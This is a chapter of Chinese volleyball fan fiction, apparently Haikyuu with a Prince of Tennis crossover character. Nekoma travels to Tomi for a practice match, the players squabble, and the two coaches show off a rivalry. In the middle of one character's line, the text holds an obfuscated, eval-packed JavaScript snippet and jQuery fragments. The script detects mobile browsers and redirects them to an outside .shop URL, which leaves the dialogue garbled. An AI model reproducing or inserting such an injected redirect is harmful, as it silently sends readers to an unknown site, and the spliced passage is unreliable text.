在排球与地板的碰撞中,时间渐渐流逝,转眼来到周六下午,
一辆平稳的大巴车从音驹出发,开往户美学园。
迹部九夏自上午训练起就显得十分兴奋,现在更甚。他嘴里一直哼唱着:“练习赛练习赛~我们要打练习赛~”的奇怪小曲。
坐在他身旁的黑尾一开始还觉得有些烦人,没多久就被旋律洗脑,一边打着拍子,一边跟着唱了起来。
夜久忍无可忍,果断抽出脖下颈枕,一人敲了一下:“你们两个吵死了!”
黑尾扭头:“哈?你自己五音不全还不让别人唱了?”
夜久怒:“谁说的?你才五音不全”
黑尾和他对视,火花带闪电:“开什么玩笑,你耳朵是摆设吗,连这么奇怪的调我都能唱的这么好听,怎么可能五音不全!”
迹部九夏大怒:“这个调哪里奇怪了?声乐老师都说我天赋异禀,音乐细胞独一份”
“这是反话吧!”
“确实天赋异禀,但绝对是反方向吧!”
三个人你看看我,我看看你,摩拳擦掌,马上就要吵起来。
不,是已经吵起来了。
海信行闭上眼,一脸安详,显然已经很习惯了。
户元阴恻恻的声音从前方响起:“你们三个,打起来的话回程时干脆就跑回音驹吧”
三人一顿,互不相让的眼神在空中交汇,瞬间坐了回去。
副驾上,通过后视镜看完全程的三色教练摇摇头:现在的孩子啊
他高中有这么烦人吗?没有吧
户美距离音驹并不远,大概半小时的车程。
音驹众人依次从大巴车上下来,迹部九夏和黑尾嘀咕:“距离也不是很远啊,跑着回去也就一个小时左右”
黑尾疯狂给他使眼色。
迹部九夏摸不着头脑:“你眼抽了?”来不及关心了,迹部九夏第一反应是:“那今天的练习赛还能比吗?”
“呵呵”黑尾双手合十,背后浮现超脱尘世的佛光:“但凡你回头看看呢”
一个眼神看懂对方想法的默契这辈子不可能出现在迹部九夏身上了。他说的。
终于察觉到身后灼灼目光,迹部九夏疯狂冒冷汗。他僵硬转头,对上户元的黑脸。
“这就是户美吧,校门还挺好看的,不过比不上音驹”迹部九夏猛地扭回头,若无其事的摸了把校门后,瞬间闪到风间身后。
虽然竹内前辈距他更近,但竹内前辈绝对会直接把他交出去的!
迹部九夏比风间大了一圈,户元无语:“你以为半蹲下风间前辈就挡得住了吗?”
风间胸口中箭:“我、我也没那么矮吧”
迹部九夏探头,和他商量:“前辈就不能装作没看见我吗?”
户元额头冒出大大的怒气符号,
“消消气户元”风间干巴巴说:“那什么,孩子还小呢”
“风间前辈,别太惯着这小子啊!”户元痛心疾首。
竹内假惺惺拿护腕擦擦眼泪,幸灾乐祸:“没想到你也有说出这句话的一天”
三色教练轻咳一声,示意音驹众人安静下来,这时候大家还是很听话的,音驹众人也看到了不远处朝他们走来的人。
应该是户美排球部的教练,三色教练在看到人影的时候就迎了上去。
音驹众人跟在身后。
大水教练热情伸出手:“好久不见了,三色”
三色教练使劲握住:“好久不见,没想到你回到户美当教练了”
大水教练加重力气:“你也是。真没想到还有和你比一场的机会”
三色教练皮笑肉不笑,也跟着加重力气:“二十年前我可没输过”
大水教练:“今时不同往日,我们现在都不是球员了,我的队员们都是很优秀的”
三色教练:“放心,我的队员只会更加优秀”
两人对视一眼:该死,这家伙的力气怎么变得这么大!
迹部九夏感叹:“教练们关系可真好”不愧是二十多年的好友。
竹内看了眼背后火焰快具象化的两位教练,真心实意道:“你说是就是吧”
“感觉大水教练比起咱们教练更年轻些啊”迹部九夏一手摸上下巴,左右看看。
三色教练松手,震声:“说什么呢臭小子,我们可是同岁啊!”
“同岁?”这下不止迹部九夏,其他人也都望了过来,一脸的震惊。
竹内:“确实是大水教练要年轻上五六岁的样子”
黑尾:“难不成排球也能加速衰老?可那不是网球才会有的体验吗”
夜久:“有没有一种可能,教练本身就不年轻了”
户元:“或许是美国风水不好?”
并不小声的嘀嘀咕咕,听得三色教练青筋直冒:“你们这群小兔崽子,输了比赛就给我直接跑回音驹吧!”
大水教练无声大笑着猛拍了三色教练三下,这才循声看过去,看到迹部九夏的时候,他语气迟疑起来:“这就是你说的小王牌?”
听到关键词,迹部九夏神气十足,他高声回道:“没错,就是我!”
大水教练看着眼前放光的迹部九夏,把那句‘看起来不像打排球的啊’吞回去:“这、这样啊”
走在前往户美排球部的路上,
竹内:“大少爷,你是不是忘了什么?”
迹部九夏茫然回望。
竹内深深叹了口气:“还记得你要端着脸吗?”
虽说打赢了队内赛,但外人不知道啊。难保不会有人觉得音驹只有一个三年级部长,成员大多数是一年级好欺负。
音驹众人经过商议决定:塑造人设!
——风间、户元:你们和谁商议了?
在竹内捏塑的人设中,音驹排球部其实是一个不良社团,现任老大风间蛰伏三年,终于在新入门·但最强打手迹部九夏的辅佐下,成功上位!
迹部九夏挺起胸膛:“是的,我就是最强打手!”
黑尾、夜久好奇问:“那我们呢?”
竹内摆摆手:“你们是小弟”
“职位再具体点啊!”
海:“排除掉不良社团的话,倒也没错”
三色教练也看热闹不嫌事大:“好主意哇!”
风间满脸尴尬,恨不得钻到地下去:“等等,没必要吧”
户元瞪着死鱼眼:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633714|206142||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
想玩cos就直说,不用拿排球部当借口”
风间和户元就差没执手相看泪眼:偌大的排球部,正常人居然只剩下了他们两个。
“第一步就失败了,出身未捷身先死——”
户元一脚踢过去:“不许唱!”
迹部九夏狡辩:“那什么,排球部不是还没到嘛”
竹内拍拍他的脑瓜:教练清楚了你的本质和队员们清楚了有什么区别吗?
音驹众人到的时候,户美的队员们已经在热身等着他们了。户美球衣主体是墨绿色,在上衣袖子处做了金色拼接,迹部九夏超小声:“还是音驹的队服好看”
夜久悄悄点头表示赞同。
风间把户美队员递过来的背号下发给众人:“先去热身吧”
*
高千穗用手肘戳戳身旁广尾:“音驹那个金发的家伙,长得比你还帅啊”
广尾:“好像是音驹现在的四号”
“看着倒像是哪家豪门的大少爷”户美4号问:“教练,那真是音驹的王牌?”
“应该是的”
大水教练信心不是很足,虽说迹部九夏先前言之凿凿说自己就是王牌,但谁知道是不是三色搞出来的障眼法。三色那家伙高中的时候就惯会骗人,在职业联赛混迹那么久,更是成长为了一名合格的老狐狸。
大将优羡慕的看向对面:“音驹好多一年级啊”
要是他们也能上场比赛就好了。
大水教练一巴掌拍向他后背:“热身才做了一半,别愣着”
“没有充分热身的话,我可是不会让你上场的”
大将优一愣:“上场?”
“可是教练你不是说这场比赛绝对不能输吗?这样的话还是学长们比较平稳吧”
一般路过的户美二号:“哦,其实教练每场比赛前都会这么说”
大水教练热血沸腾:“就是要抱着每场比赛都绝对不能输的信念啊!”
“不过练习赛嘛,最重要的还是练兵”
毕竟如果正式比赛出现什么突发状况,替补却没有提前磨合的话就完蛋了。
“你就是音驹新任部长吧”户美主将来到正在做手指热身操的风间面前,伸出手:“我是户美排球部的部长三佳木成”
风间身后音驹众人眼神一下子犀利起来。
三佳对着黑化背景板轻笑一声。
音驹:挑衅!这绝对是挑衅吧!
风间看着眼前笑盈盈的户美部长,好像没有传闻中那么可怕,他上前握手:“我是风间海斗,二传”
“风间君,音驹的事情我听教练说过了”三佳说:“其他暂且不提,青田带领的确实是个强劲的对手”
“或许你们的小王牌确实实力强劲,但你这个二传手想必也是功不可没”
风间不好意思笑笑,纠正他:“不是或许,九夏确实实力强劲”
三佳若有所思点点头,看样子音驹很信任这个新人啊。
风间嘴一秃噜:“他就是我们音驹最强打手。!”
三佳一愣:“最强什么?”
风间坚定道:“最强王牌”
户元一脚踢向竹内,都是你这家伙的错啊!